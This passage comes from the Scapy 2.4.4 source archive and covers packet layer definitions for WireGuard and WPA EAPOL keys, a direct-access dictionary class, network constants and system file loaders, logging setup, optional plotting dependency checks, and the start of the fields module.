XStrFixedLenField("mac1", 0, 16), XStrFixedLenField("mac2", 0, 16), ] class WireguardTransport(Packet): name = "Wireguard Transport" fields_desc = [ XLEIntField("receiver_index", 0), XLELongField("counter", 0), XStrField("encrypted_encapsulated_packet", None) ] class WireguardCookieReply(Packet): name = "Wireguard Cookie Reply" fields_desc = [ XLEIntField("receiver_index", 0), XStrFixedLenField("nonce", 0, 24), XStrFixedLenField("encrypted_cookie", 0, 32), ] bind_layers(Wireguard, WireguardInitiation, message_type=1) bind_layers(Wireguard, WireguardResponse, message_type=2) bind_layers(Wireguard, WireguardCookieReply, message_type=3) bind_layers(Wireguard, WireguardTransport, message_type=4) bind_layers(UDP, Wireguard, dport=51820) bind_layers(UDP, Wireguard, sport=51820) scapy-2.4.4/scapy/contrib/wpa_eapol.py000066400000000000000000000035561372370053500177560ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = WPA EAPOL-KEY # scapy.contrib.status = loads from scapy.packet import Packet, bind_layers from scapy.fields import ByteField, LenField, ShortField, StrFixedLenField, \ StrLenField from scapy.layers.eap import EAPOL class WPA_key(Packet): name = "WPA_key" fields_desc = [ByteField("descriptor_type", 1), ShortField("key_info", 0), LenField("len", None, "H"), StrFixedLenField("replay_counter", "", 8), StrFixedLenField("nonce", "", 32), StrFixedLenField("key_iv", "", 16), StrFixedLenField("wpa_key_rsc", "", 8), StrFixedLenField("wpa_key_id", "", 8), StrFixedLenField("wpa_key_mic", "", 16), LenField("wpa_key_length", None, "H"), StrLenField("wpa_key", "", length_from=lambda pkt:pkt.wpa_key_length)] # noqa: E501 def extract_padding(self, s): tmp_len = self.len return s[:tmp_len], s[tmp_len:] def hashret(self): return chr(self.type) + self.payload.hashret() def answers(self, other): if isinstance(other, WPA_key): return 1 return 0 bind_layers(EAPOL, WPA_key, type=3) scapy-2.4.4/scapy/dadict.py000066400000000000000000000060211372370053500155650ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Direct Access dictionary. """ from __future__ import absolute_import from __future__ import print_function from scapy.error import Scapy_Exception import scapy.modules.six as six from scapy.compat import plain_str ############################### # Direct Access dictionary # ############################### def fixname(x): """ Modifies a string to make sure it can be used as an attribute name. """ x = plain_str(x) if x and str(x[0]) in "0123456789": x = "n_" + x return x.translate( "________________________________________________" "0123456789_______ABCDEFGHIJKLMNOPQRSTUVWXYZ______" "abcdefghijklmnopqrstuvwxyz____________________________" "______________________________________________________" "___________________________________________________" ) class DADict_Exception(Scapy_Exception): pass class DADict(object): """ Direct Access Dictionary This acts like a dict, but it provides a direct attribute access to its keys through its values. This is used to store protocols, manuf... For instance, scapy fields will use a DADict as an enum:: ETHER_TYPES[2048] -> IPv4 Whereas humans can access:: ETHER_TYPES.IPv4 -> 2048 """ def __init__(self, _name="DADict", **kargs): self._name = _name self.update(kargs) def ident(self, v): """ Return value that is used as key for the direct access """ return fixname(v) def update(self, *args, **kwargs): for k, v in six.iteritems(dict(*args, **kwargs)): self[k] = v def iterkeys(self): for x in six.iterkeys(self.__dict__): if not isinstance(x, str) or x[0] != "_": yield x def keys(self): return list(self.iterkeys()) def __iter__(self): return self.iterkeys() def itervalues(self): return six.itervalues(self.__dict__) def values(self): return list(self.itervalues()) def _show(self): for k in self.iterkeys(): print("%10s = %r" % (k, self[k])) def __repr__(self): return "<%s - %s elements>" % (self._name, len(self)) def __getitem__(self, attr): return self.__dict__[attr] def __setitem__(self, attr, val): self.__dict__[attr] = val def __len__(self): return len(self.__dict__) def __nonzero__(self): # Always has at least its name return len(self) > 1 __bool__ = __nonzero__ def __getattr__(self, attr): try: return object.__getattribute__(self, attr) except AttributeError: for k, v in six.iteritems(self.__dict__): if self.ident(v) == attr: return k def __dir__(self): return [self.ident(x) for x in self.itervalues()] scapy-2.4.4/scapy/data.py000066400000000000000000000343301372370053500152520ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Global variables and functions for handling external data sets. """ import calendar import os import re import warnings from scapy.dadict import DADict, fixname from scapy.consts import FREEBSD, NETBSD, OPENBSD, WINDOWS from scapy.error import log_loading from scapy.compat import plain_str import scapy.modules.six as six ############ # Consts # ############ ETHER_ANY = b"\x00" * 6 ETHER_BROADCAST = b"\xff" * 6 # From bits/socket.h SOL_PACKET = 263 # From asm/socket.h SO_ATTACH_FILTER = 26 SO_TIMESTAMPNS = 35 # SO_TIMESTAMPNS_OLD: not 2038 safe ETH_P_ALL = 3 ETH_P_IP = 0x800 ETH_P_ARP = 0x806 ETH_P_IPV6 = 0x86dd ETH_P_MACSEC = 0x88e5 # From net/if_arp.h ARPHDR_ETHER = 1 ARPHDR_METRICOM = 23 ARPHDR_PPP = 512 ARPHDR_LOOPBACK = 772 ARPHDR_TUN = 65534 # From pcap/dlt.h DLT_NULL = 0 DLT_EN10MB = 1 DLT_EN3MB = 2 DLT_AX25 = 3 DLT_PRONET = 4 DLT_CHAOS = 5 DLT_IEEE802 = 6 DLT_ARCNET = 7 DLT_SLIP = 8 DLT_PPP = 9 DLT_FDDI = 10 if OPENBSD: DLT_RAW = 14 else: DLT_RAW = 12 DLT_RAW_ALT = 101 # At least in Argus if FREEBSD or NETBSD: DLT_SLIP_BSDOS = 13 DLT_PPP_BSDOS = 14 else: DLT_SLIP_BSDOS = 15 DLT_PPP_BSDOS = 16 if FREEBSD: DLT_PFSYNC = 121 else: DLT_PFSYNC = 18 DLT_HHDLC = 121 DLT_ATM_CLIP = 19 DLT_PPP_SERIAL = 50 DLT_PPP_ETHER = 51 DLT_SYMANTEC_FIREWALL = 99 DLT_C_HDLC = 104 DLT_IEEE802_11 = 105 DLT_FRELAY = 107 if OPENBSD: DLT_LOOP = 12 DLT_ENC = 13 else: DLT_LOOP = 108 DLT_ENC = 109 DLT_LINUX_SLL = 113 DLT_LTALK = 114 DLT_PFLOG = 117 DLT_PRISM_HEADER = 119 DLT_AIRONET_HEADER = 120 DLT_IP_OVER_FC = 122 DLT_IEEE802_11_RADIO = 127 DLT_ARCNET_LINUX = 129 DLT_LINUX_IRDA = 144 DLT_IEEE802_11_RADIO_AVS = 163 DLT_LINUX_LAPD = 177 DLT_BLUETOOTH_HCI_H4 = 187 DLT_USB_LINUX = 189 DLT_PPI = 192 DLT_IEEE802_15_4_WITHFCS = 195 DLT_BLUETOOTH_HCI_H4_WITH_PHDR = 201 DLT_AX25_KISS = 202 DLT_PPP_WITH_DIR = 204 DLT_FC_2 = 224 DLT_CAN_SOCKETCAN = 227 DLT_IPV4 = 228 DLT_IPV6 = 229 DLT_IEEE802_15_4_NOFCS = 230 DLT_USBPCAP = 249 DLT_NETLINK = 253 DLT_USB_DARWIN = 266 DLT_BLUETOOTH_LE_LL = 251 DLT_BLUETOOTH_LE_LL_WITH_PHDR = 256 DLT_VSOCK = 271 DLT_ETHERNET_MPACKET = 274 # From net/ipv6.h on Linux (+ Additions) IPV6_ADDR_UNICAST = 0x01 IPV6_ADDR_MULTICAST = 0x02 IPV6_ADDR_CAST_MASK = 0x0F IPV6_ADDR_LOOPBACK = 0x10 IPV6_ADDR_GLOBAL = 0x00 IPV6_ADDR_LINKLOCAL = 0x20 IPV6_ADDR_SITELOCAL = 0x40 # deprecated since Sept. 2004 by RFC 3879 IPV6_ADDR_SCOPE_MASK = 0xF0 # IPV6_ADDR_COMPATv4 = 0x80 # deprecated; i.e. ::/96 # IPV6_ADDR_MAPPED = 0x1000 # i.e.; ::ffff:0.0.0.0/96 IPV6_ADDR_6TO4 = 0x0100 # Added to have more specific info (should be 0x0101 ?) # noqa: E501 IPV6_ADDR_UNSPECIFIED = 0x10000 # from if_arp.h ARPHRD_ETHER = 1 ARPHRD_EETHER = 2 ARPHRD_AX25 = 3 ARPHRD_PRONET = 4 ARPHRD_CHAOS = 5 ARPHRD_IEEE802 = 6 ARPHRD_ARCNET = 7 ARPHRD_DLCI = 15 ARPHRD_ATM = 19 ARPHRD_METRICOM = 23 ARPHRD_SLIP = 256 ARPHRD_CSLIP = 257 ARPHRD_SLIP6 = 258 ARPHRD_CSLIP6 = 259 ARPHRD_ADAPT = 264 ARPHRD_CAN = 280 ARPHRD_PPP = 512 ARPHRD_CISCO = 513 ARPHRD_RAWHDLC = 518 ARPHRD_TUNNEL = 768 ARPHRD_FRAD = 770 ARPHRD_LOOPBACK = 772 ARPHRD_LOCALTLK = 773 ARPHRD_FDDI = 774 ARPHRD_SIT = 776 ARPHRD_FCPP = 784 ARPHRD_FCAL = 785 ARPHRD_FCPL = 786 ARPHRD_FCFABRIC = 787 ARPHRD_IRDA = 783 ARPHRD_IEEE802_TR = 800 ARPHRD_IEEE80211 = 801 ARPHRD_IEEE80211_PRISM = 802 ARPHRD_IEEE80211_RADIOTAP = 803 ARPHRD_IEEE802154 = 804 ARPHRD_NETLINK = 824 ARPHRD_VSOCKMON = 826 # from pcap/pcap-linux.c ARPHRD_LAPD = 8445 # from pcap/pcap-linux.c ARPHRD_NONE = 0xFFFE ARPHRD_TO_DLT = { # netlink -> datalink ARPHRD_ETHER: DLT_EN10MB, ARPHRD_METRICOM: DLT_EN10MB, ARPHRD_LOOPBACK: DLT_EN10MB, ARPHRD_EETHER: DLT_EN3MB, ARPHRD_AX25: DLT_AX25_KISS, ARPHRD_PRONET: DLT_PRONET, ARPHRD_CHAOS: DLT_CHAOS, ARPHRD_CAN: DLT_LINUX_SLL, ARPHRD_IEEE802_TR: DLT_IEEE802, ARPHRD_IEEE802: DLT_IEEE802, ARPHRD_ARCNET: DLT_ARCNET_LINUX, ARPHRD_FDDI: DLT_FDDI, ARPHRD_ATM: -1, ARPHRD_IEEE80211: DLT_IEEE802_11, ARPHRD_IEEE80211_PRISM: DLT_PRISM_HEADER, ARPHRD_IEEE80211_RADIOTAP: DLT_IEEE802_11_RADIO, ARPHRD_PPP: DLT_RAW, ARPHRD_CISCO: DLT_C_HDLC, ARPHRD_SIT: DLT_RAW, ARPHRD_CSLIP: DLT_RAW, ARPHRD_SLIP6: DLT_RAW, ARPHRD_CSLIP6: DLT_RAW, ARPHRD_ADAPT: DLT_RAW, ARPHRD_SLIP: DLT_RAW, ARPHRD_RAWHDLC: DLT_RAW, ARPHRD_DLCI: DLT_RAW, ARPHRD_FRAD: DLT_FRELAY, ARPHRD_LOCALTLK: DLT_LTALK, 18: DLT_IP_OVER_FC, ARPHRD_FCPP: DLT_FC_2, ARPHRD_FCAL: DLT_FC_2, ARPHRD_FCPL: DLT_FC_2, ARPHRD_FCFABRIC: DLT_FC_2, ARPHRD_IRDA: DLT_LINUX_IRDA, ARPHRD_LAPD: DLT_LINUX_LAPD, ARPHRD_NONE: DLT_RAW, ARPHRD_IEEE802154: DLT_IEEE802_15_4_NOFCS, ARPHRD_NETLINK: DLT_NETLINK, ARPHRD_VSOCKMON: DLT_VSOCK, } # Constants for PPI header types. PPI_DOT11COMMON = 2 PPI_DOT11NMAC = 3 PPI_DOT11NMACPHY = 4 PPI_SPECTRUM_MAP = 5 PPI_PROCESS_INFO = 6 PPI_CAPTURE_INFO = 7 PPI_AGGREGATION = 8 PPI_DOT3 = 9 PPI_GPS = 30002 PPI_VECTOR = 30003 PPI_SENSOR = 30004 PPI_ANTENNA = 30005 PPI_BTLE = 30006 # Human-readable type names for PPI header types. PPI_TYPES = { PPI_DOT11COMMON: 'dot11-common', PPI_DOT11NMAC: 'dot11-nmac', PPI_DOT11NMACPHY: 'dot11-nmacphy', PPI_SPECTRUM_MAP: 'spectrum-map', PPI_PROCESS_INFO: 'process-info', PPI_CAPTURE_INFO: 'capture-info', PPI_AGGREGATION: 'aggregation', PPI_DOT3: 'dot3', PPI_GPS: 'gps', PPI_VECTOR: 'vector', PPI_SENSOR: 'sensor', PPI_ANTENNA: 'antenna', PPI_BTLE: 'btle', } # On windows, epoch is 01/02/1970 at 00:00 EPOCH = calendar.timegm((1970, 1, 2, 0, 0, 0, 3, 1, 0)) - 86400 MTU = 0xffff # a.k.a give me all you have # In fact, IANA enterprise-numbers file available at # http://www.iana.org/assignments/enterprise-numbers # is simply huge (more than 2Mo and 600Ko in bz2). I'll # add only most common vendors, and encountered values. # -- arno IANA_ENTERPRISE_NUMBERS = { 9: "ciscoSystems", 35: "Nortel Networks", 43: "3Com", 311: "Microsoft", 2636: "Juniper Networks, Inc.", 4526: "Netgear", 5771: "Cisco Systems, Inc.", 5842: "Cisco Systems", 11129: "Google, Inc", 16885: "Nortel Networks", } def load_protocols(filename, _fallback=None, _integer_base=10, _cls=DADict): """"Parse /etc/protocols and return values as a dictionary.""" spaces = re.compile(b"[ \t]+|\n") dct = _cls(_name=filename) def _process_data(fdesc): for line in fdesc: try: shrp = line.find(b"#") if shrp >= 0: line = line[:shrp] line = line.strip() if not line: continue lt = tuple(re.split(spaces, line)) if len(lt) < 2 or not lt[0]: continue dct[int(lt[1], _integer_base)] = fixname(lt[0]) except Exception as e: log_loading.info( "Couldn't parse file [%s]: line [%r] (%s)", filename, line, e, ) try: if not filename: raise IOError with open(filename, "rb") as fdesc: _process_data(fdesc) except IOError: if _fallback: _process_data(_fallback.split(b"\n")) else: log_loading.info("Can't open %s file", filename) return dct class EtherDA(DADict): # Backward compatibility: accept # ETHER_TYPES["MY_GREAT_TYPE"] = 12 def __setitem__(self, attr, val): if isinstance(attr, str): attr, val = val, attr warnings.warn( "ETHER_TYPES now uses the integer value as key !", DeprecationWarning ) super(EtherDA, self).__setitem__(attr, val) def __getitem__(self, attr): if isinstance(attr, str): warnings.warn( "Please use 'ETHER_TYPES.%s'" % attr, DeprecationWarning ) return super(EtherDA, self).__getattr__(attr) return super(EtherDA, self).__getitem__(attr) def load_ethertypes(filename): """"Parse /etc/ethertypes and return values as a dictionary. If unavailable, use the copy bundled with Scapy.""" from scapy.libs.ethertypes import DATA return load_protocols(filename or "Scapy's backup ETHER_TYPES", _fallback=DATA, _integer_base=16, _cls=EtherDA) def load_services(filename): spaces = re.compile(b"[ \t]+|\n") tdct = DADict(_name="%s-tcp" % filename) udct = DADict(_name="%s-udp" % filename) try: with open(filename, "rb") as fdesc: for line in fdesc: try: shrp = line.find(b"#") if shrp >= 0: line = line[:shrp] line = line.strip() if not line: continue lt = tuple(re.split(spaces, line)) if len(lt) < 2 or not lt[0]: continue dtct = None if lt[1].endswith(b"/tcp"): dtct = tdct elif lt[1].endswith(b"/udp"): dtct = udct else: continue port = lt[1].split(b'/')[0] name = fixname(lt[0]) if b"-" in port: sport, eport = port.split(b"-") for i in range(int(sport), int(eport) + 1): dtct[i] = name else: dtct[int(port)] = name except Exception as e: log_loading.warning( "Couldn't parse file [%s]: line [%r] (%s)", filename, line, e, ) except IOError: log_loading.info("Can't open /etc/services file") return tdct, udct class ManufDA(DADict): def ident(self, v): return fixname(v[0] if isinstance(v, tuple) else v) def _get_manuf_couple(self, mac): oui = ":".join(mac.split(":")[:3]).upper() return self.__dict__.get(oui, (mac, mac)) def _get_manuf(self, mac): return self._get_manuf_couple(mac)[1] def _get_short_manuf(self, mac): return self._get_manuf_couple(mac)[0] def _resolve_MAC(self, mac): oui = ":".join(mac.split(":")[:3]).upper() if oui in self: return ":".join([self[oui][0]] + mac.split(":")[3:]) return mac def lookup(self, mac): """Find OUI name matching to a MAC""" oui = ":".join(mac.split(":")[:3]).upper() return self[oui] def reverse_lookup(self, name, case_sensitive=False): """ Find all MACs registered to a OUI :param name: the OUI name :param case_sensitive: default to False :returns: a dict of mac:tuples (Name, Extended Name) """ if case_sensitive: filtr = lambda x, l: any(x == z for z in l) else: name = name.lower() filtr = lambda x, l: any(x == z.lower() for z in l) return {k: v for k, v in six.iteritems(self.__dict__) if filtr(name, v)} def __dir__(self): return [ "_get_manuf", "_get_short_manuf", "_resolve_MAC", "loopkup", "reverse_lookup", ] + super(ManufDA, self).__dir__() def load_manuf(filename): """ Loads manuf file from Wireshark. :param filename: the file to load the manuf file from :returns: a ManufDA filled object """ manufdb = ManufDA(_name=filename) with open(filename, "rb") as fdesc: for line in fdesc: try: line = line.strip() if not line or line.startswith(b"#"): continue parts = line.split(None, 2) ouib, shrt = parts[:2] lng = parts[2].lstrip(b"#").strip() if len(parts) > 2 else b"" lng = lng or shrt oui = plain_str(ouib) manufdb[oui] = plain_str(shrt), plain_str(lng) except Exception: log_loading.warning("Couldn't parse one line from [%s] [%r]", filename, line, exc_info=True) return manufdb def select_path(directories, filename): """Find filename among several directories""" for directory in directories: path = os.path.join(directory, filename) if os.path.exists(path): return path if WINDOWS: IP_PROTOS = load_protocols(os.environ["SystemRoot"] + "\\system32\\drivers\\etc\\protocol") # noqa: E501 TCP_SERVICES, UDP_SERVICES = load_services(os.environ["SystemRoot"] + "\\system32\\drivers\\etc\\services") # noqa: E501 # Default values, will be updated by arch.windows ETHER_TYPES = load_ethertypes(None) MANUFDB = ManufDA() else: IP_PROTOS = load_protocols("/etc/protocols") ETHER_TYPES = load_ethertypes("/etc/ethertypes") TCP_SERVICES, UDP_SERVICES = load_services("/etc/services") MANUFDB = ManufDA() manuf_path = select_path( ['/usr', '/usr/local', '/opt', '/opt/wireshark', '/Applications/Wireshark.app/Contents/Resources'], "share/wireshark/manuf" ) if manuf_path: try: MANUFDB = load_manuf(manuf_path) except (IOError, OSError): log_loading.warning("Cannot read wireshark manuf database") ##################### # knowledge bases # ##################### class KnowledgeBase: def __init__(self, filename): self.filename = filename self.base = None def lazy_init(self): self.base = "" def reload(self, filename=None): if filename is not None: self.filename = filename oldbase = self.base self.base = None self.lazy_init() if self.base is None: self.base = oldbase def get_base(self): if self.base is None: self.lazy_init() return self.base scapy-2.4.4/scapy/error.py000066400000000000000000000051111372370053500154650ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Logging subsystem and basic exception class. """ ############################# # Logging subsystem # ############################# import logging import traceback import time class Scapy_Exception(Exception): pass class ScapyInvalidPlatformException(Scapy_Exception): pass class ScapyNoDstMacException(Scapy_Exception): pass class ScapyFreqFilter(logging.Filter): def __init__(self): logging.Filter.__init__(self) self.warning_table = {} def filter(self, record): from scapy.config import conf wt = conf.warning_threshold if wt > 0: stk = traceback.extract_stack() caller = None for f, l, n, c in stk: if n == 'warning': break caller = l tm, nb = self.warning_table.get(caller, (0, 0)) ltm = time.time() if ltm - tm > wt: tm = ltm nb = 0 else: if nb < 2: nb += 1 if nb == 2: record.msg = "more " + record.msg else: return 0 self.warning_table[caller] = (tm, nb) return 1 # Inspired from python-colorbg (MIT) class ScapyColoredFormatter(logging.Formatter): """A subclass of logging.Formatter that handles colors.""" levels_colored = { 'DEBUG': 'reset', 'INFO': 'reset', 'WARNING': 'bold+yellow', 'ERROR': 'bold+red', 'CRITICAL': 'bold+white+bg_red' } def format(self, record): message = super(ScapyColoredFormatter, self).format(record) from scapy.config import conf message = conf.color_theme.format( message, self.levels_colored[record.levelname] ) return message log_scapy = logging.getLogger("scapy") log_scapy.setLevel(logging.WARNING) log_scapy.addHandler(logging.NullHandler()) # logs at runtime log_runtime = logging.getLogger("scapy.runtime") log_runtime.addFilter(ScapyFreqFilter()) # logs in interactive functions log_interactive = logging.getLogger("scapy.interactive") log_interactive.setLevel(logging.DEBUG) # logs when loading Scapy log_loading = logging.getLogger("scapy.loading") def warning(x, *args, **kargs): """ Prints a warning during runtime. """ log_runtime.warning(x, *args, **kargs) scapy-2.4.4/scapy/extlib.py000066400000000000000000000035051372370053500156300ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ External link to programs """ import os import subprocess from scapy.error import log_loading # Notice: this file must not be called before main.py, if started # in interactive mode, because it needs to be called after the # logger has been setup, to be able to print the warning messages # MATPLOTLIB try: from matplotlib import get_backend as matplotlib_get_backend from matplotlib import pyplot as plt from matplotlib.lines import Line2D MATPLOTLIB = 1 if "inline" in matplotlib_get_backend(): MATPLOTLIB_INLINED = 1 else: MATPLOTLIB_INLINED = 0 MATPLOTLIB_DEFAULT_PLOT_KARGS = {"marker": "+"} # RuntimeError to catch gtk "Cannot open display" error except (ImportError, RuntimeError): plt = None Line2D = None MATPLOTLIB = 0 MATPLOTLIB_INLINED = 0 MATPLOTLIB_DEFAULT_PLOT_KARGS = dict() log_loading.info("Can't import matplotlib. Won't be able to plot.") # PYX def _test_pyx(): """Returns if PyX is correctly installed or not""" try: with open(os.devnull, 'wb') as devnull: r = subprocess.check_call(["pdflatex", "--version"], stdout=devnull, stderr=subprocess.STDOUT) except (subprocess.CalledProcessError, OSError): return False else: return r == 0 try: import pyx # noqa: F401 if _test_pyx(): PYX = 1 else: log_loading.info("PyX dependencies are not installed ! Please install TexLive or MikTeX.") # noqa: E501 PYX = 0 except ImportError: log_loading.info("Can't import PyX. Won't be able to use psdump() or pdfdump().") # noqa: E501 PYX = 0 scapy-2.4.4/scapy/fields.py000066400000000000000000002543571372370053500156240ustar00rootroot00000000000000# -*- mode: python3; indent-tabs-mode: nil; tab-width: 4 -*- # This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # Copyright (C) Michael Farrell # This program is published under a GPLv2 license """ Fields: basic data structures that make up parts of packets. """ from __future__ import absolute_import import calendar import collections import copy import inspect import socket import struct import time from types import MethodType from uuid import UUID from scapy.config import conf from scapy.dadict import DADict from scapy.volatile import RandBin, RandByte, RandEnumKeys, RandInt, \ RandIP, RandIP6, RandLong, RandMAC, RandNum, RandShort, RandSInt, \ RandSByte, RandTermString, RandUUID, VolatileValue, RandSShort, \ RandSLong, RandFloat from scapy.data import EPOCH from scapy.error import log_runtime, Scapy_Exception from scapy.compat import bytes_hex, chb, orb, plain_str, raw, bytes_encode from scapy.pton_ntop import inet_ntop, inet_pton from scapy.utils import inet_aton, inet_ntoa, lhex, mac2str, str2mac from scapy.utils6 import in6_6to4ExtractAddr, in6_isaddr6to4, \ in6_isaddrTeredo, in6_ptop, Net6, teredoAddrExtractInfo from scapy.base_classes import BasePacket, Gen, Net, Field_metaclass from scapy.error import warning import scapy.modules.six as six from scapy.modules.six.moves import range from scapy.modules.six import integer_types """ Helper class to specify a protocol extendable for runtime modifications """ class ObservableDict(dict): def __init__(self, *args, **kw): self.observers = [] super(ObservableDict, self).__init__(*args, **kw) def observe(self, observer): self.observers.append(observer) def __setitem__(self, key, value): for o in self.observers: o.notify_set(self, key, value) super(ObservableDict, self).__setitem__(key, value) def __delitem__(self, key): for o in self.observers: o.notify_del(self, key) super(ObservableDict, self).__delitem__(key) def update(self, anotherDict): for k in anotherDict: self[k] = anotherDict[k] ############ # Fields # ############ class Field(six.with_metaclass(Field_metaclass, object)): """ For more information on how this work, please refer to http://www.secdev.org/projects/scapy/files/scapydoc.pdf chapter ``Adding a New Field`` """ __slots__ = [ "name", "fmt", "default", "sz", "owners", "struct" ] islist = 0 ismutable = False holds_packets = 0 def __init__(self, name, default, fmt="H"): self.name = name if fmt[0] in "@=<>!": self.fmt = fmt else: self.fmt = "!" + fmt self.struct = struct.Struct(self.fmt) self.default = self.any2i(None, default) self.sz = struct.calcsize(self.fmt) self.owners = [] def register_owner(self, cls): self.owners.append(cls) def i2len(self, pkt, x): """Convert internal value to a length usable by a FieldLenField""" return self.sz def i2count(self, pkt, x): """Convert internal value to a number of elements usable by a FieldLenField. Always 1 except for list fields""" return 1 def h2i(self, pkt, x): """Convert human value to internal value""" return x def i2h(self, pkt, x): """Convert internal value to human value""" return x def m2i(self, pkt, x): """Convert machine value to internal value""" return x def i2m(self, pkt, x): """Convert internal value to machine value""" if x is None: x = 0 elif isinstance(x, str): return bytes_encode(x) return x def any2i(self, pkt, x): """Try to understand the most input values possible and make an internal value from them""" # noqa: E501 return self.h2i(pkt, x) def i2repr(self, pkt, x): """Convert internal value to a nice representation""" return repr(self.i2h(pkt, x)) def addfield(self, pkt, s, val): """Add an internal value to a string Copy the network representation of field `val` (belonging to layer `pkt`) to the raw string packet `s`, and return the new string packet. """ return s + self.struct.pack(self.i2m(pkt, val)) def getfield(self, pkt, s): """Extract an internal value from a string Extract from the raw packet `s` the field value belonging to layer `pkt`. Returns a two-element list, first the raw packet string after having removed the extracted field, second the extracted field itself in internal representation. """ return s[self.sz:], self.m2i(pkt, self.struct.unpack(s[:self.sz])[0]) def do_copy(self, x): if hasattr(x, "copy"): return x.copy() if isinstance(x, list): x = x[:] for i in range(len(x)): if isinstance(x[i], BasePacket): x[i] = x[i].copy() return x def __repr__(self): return "" % (",".join(x.__name__ for x in self.owners), self.name) # noqa: E501 def copy(self): return copy.copy(self) def randval(self): """Return a volatile object whose value is both random and suitable for this field""" # noqa: E501 fmtt = self.fmt[-1] if fmtt in "BbHhIiQq": return {"B": RandByte, "b": RandSByte, "H": RandShort, "h": RandSShort, "I": RandInt, "i": RandSInt, "Q": RandLong, "q": RandSLong}[fmtt]() elif fmtt == "s": if self.fmt[0] in "0123456789": value = int(self.fmt[:-1]) else: value = int(self.fmt[1:-1]) return RandBin(value) else: warning("no random class for [%s] (fmt=%s).", self.name, self.fmt) class Emph(object): """Empathize sub-layer for display""" __slots__ = ["fld"] def __init__(self, fld): self.fld = fld def __getattr__(self, attr): return getattr(self.fld, attr) def __eq__(self, other): return self.fld == other def __ne__(self, other): # Python 2.7 compat return not self == other __hash__ = None class ActionField(object): __slots__ = ["_fld", "_action_method", "_privdata"] def __init__(self, fld, action_method, **kargs): self._fld = fld self._action_method = action_method self._privdata = kargs def any2i(self, pkt, val): getattr(pkt, self._action_method)(val, self._fld, **self._privdata) return getattr(self._fld, "any2i")(pkt, val) def __getattr__(self, attr): return getattr(self._fld, attr) class ConditionalField(object): __slots__ = ["fld", "cond"] def __init__(self, fld, cond): self.fld = fld self.cond = cond def _evalcond(self, pkt): return self.cond(pkt) def getfield(self, pkt, s): if self._evalcond(pkt): return self.fld.getfield(pkt, s) else: return s, None def addfield(self, pkt, s, val): if self._evalcond(pkt): return self.fld.addfield(pkt, s, val) else: return s def __getattr__(self, attr): return getattr(self.fld, attr) class MultipleTypeField(object): """MultipleTypeField are used for fields that can be implemented by various Field subclasses, depending on conditions on the packet. It is initialized with `flds` and `dflt`. `dflt` is the default field type, to be used when none of the conditions matched the current packet. `flds` is a list of tuples (`fld`, `cond`), where `fld` if a field type, and `cond` a "condition" to determine if `fld` is the field type that should be used. `cond` is either: - a callable `cond_pkt` that accepts one argument (the packet) and returns True if `fld` should be used, False otherwise. - a tuple (`cond_pkt`, `cond_pkt_val`), where `cond_pkt` is the same as in the previous case and `cond_pkt_val` is a callable that accepts two arguments (the packet, and the value to be set) and returns True if `fld` should be used, False otherwise. See scapy.layers.l2.ARP (type "help(ARP)" in Scapy) for an example of use. """ __slots__ = ["flds", "dflt", "name"] def __init__(self, flds, dflt): self.flds = flds self.dflt = dflt self.name = self.dflt.name def _iterate_fields_cond(self, pkt, val, use_val): """Internal function used by _find_fld_pkt & _find_fld_pkt_val""" # Iterate through the fields for fld, cond in self.flds: if isinstance(cond, tuple): if use_val: if cond[1](pkt, val): return fld continue else: cond = cond[0] if cond(pkt): return fld return self.dflt def _find_fld_pkt(self, pkt): """Given a Packet instance `pkt`, returns the Field subclass to be used. If you know the value to be set (e.g., in .addfield()), use ._find_fld_pkt_val() instead. """ return self._iterate_fields_cond(pkt, None, False) def _find_fld_pkt_val(self, pkt, val): """Given a Packet instance `pkt` and the value `val` to be set, returns the Field subclass to be used, and the updated `val` if necessary. """ fld = self._iterate_fields_cond(pkt, val, True) # Default ? (in this case, let's make sure it's up-do-date) dflts_pkt = pkt.default_fields if val == dflts_pkt[self.name] and self.name not in pkt.fields: dflts_pkt[self.name] = fld.default val = fld.default return fld, val def _find_fld(self): """Returns the Field subclass to be used, depending on the Packet instance, or the default subclass. DEV: since the Packet instance is not provided, we have to use a hack to guess it. It should only be used if you cannot provide the current Packet instance (for example, because of the current Scapy API). If you have the current Packet instance, use ._find_fld_pkt_val() (if the value to set is also known) of ._find_fld_pkt() instead. """ # Hack to preserve current Scapy API # See https://stackoverflow.com/a/7272464/3223422 frame = inspect.currentframe().f_back.f_back while frame is not None: try: pkt = frame.f_locals['self'] except KeyError: pass else: if isinstance(pkt, tuple(self.dflt.owners)): if not pkt.default_fields: # Packet not initialized return self.dflt return self._find_fld_pkt(pkt) frame = frame.f_back return self.dflt def getfield(self, pkt, s): return self._find_fld_pkt(pkt).getfield(pkt, s) def addfield(self, pkt, s, val): fld, val = self._find_fld_pkt_val(pkt, val) return fld.addfield(pkt, s, val) def any2i(self, pkt, val): fld, val = self._find_fld_pkt_val(pkt, val) return fld.any2i(pkt, val) def h2i(self, pkt, val): fld, val = self._find_fld_pkt_val(pkt, val) return fld.h2i(pkt, val) def i2h(self, pkt, val): fld, val = self._find_fld_pkt_val(pkt, val) return fld.i2h(pkt, val) def i2m(self, pkt, val): fld, val = self._find_fld_pkt_val(pkt, val) return fld.i2m(pkt, val) def i2len(self, pkt, val): fld, val = self._find_fld_pkt_val(pkt, val) return fld.i2len(pkt, val) def i2repr(self, pkt, val): fld, val = self._find_fld_pkt_val(pkt, val) return fld.i2repr(pkt, val) def register_owner(self, cls): for fld, _ in self.flds: fld.owners.append(cls) self.dflt.owners.append(cls) def __getattr__(self, attr): 